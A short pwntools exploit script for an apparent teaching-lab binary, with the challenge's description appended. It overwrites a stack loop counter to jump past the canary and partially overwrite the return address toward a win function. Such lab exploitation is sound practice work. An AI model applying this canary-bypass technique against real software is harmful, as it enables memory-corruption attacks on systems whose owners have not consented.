#!/usr/bin/env python3

from pwn import *

context.update(arch='amd64', os='linux') # set arch
#context.terminal = ['mate-terminal', '-e'] # set terminal

p = process('./9teaching1')

# n in the stack, so, we can overwrite n with a arbitrary value and write past
# the canary token
# while (n < size) { n += read(0, input + n, 1);

gdb.attach(p,'''
b *vuln+2448
c
info frame
print *win+24'''
)

# i need this to be large to overflow until n
p.sendline('90')
overflow_until_n = ('A' * 56)
n_size_to_write_to_ret = '\x57' #87

payload = overflow_until_n + n_size_to_write_to_ret + ('\x42\x71')# + junk # ('\x31\x08') # 7142
p.send(payload)
p.interactive()


"""
While canaries are enabled, this program reads your input 1 byte at a time,
tracking how many bytes have been read and the offset from your input buffer
to read the byte to using a local variable on the stack.
The code for doing this looks something like:
    while (n < size) {
      n += read(0, input + n, 1);    }As it turns out, you can use this local variable `n` to jump over the canary.
Your input buffer is stored at 0x7ffeda816e20, and this local variable `n`
is stored 56 bytes after it at 0x7ffeda816e58.

When you overwrite `n`, you will change the program's understanding of
how many bytes it has read in so far, and when it runs `read(0, input + n, 1)`
again, it will read into an offset that you control.
This will allow you to reposition the write *after* the canary, and write
into the return address!
"""
